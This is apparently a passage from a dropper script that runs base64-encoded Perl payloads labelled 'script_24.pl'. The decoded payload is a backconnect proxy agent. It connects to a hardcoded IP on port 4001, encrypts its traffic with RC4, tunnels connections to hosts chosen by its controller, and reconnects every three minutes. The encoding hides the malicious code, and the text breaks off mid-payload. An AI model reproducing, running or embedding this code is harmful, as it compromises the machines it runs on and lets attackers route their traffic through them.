QkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_24.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTczJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwo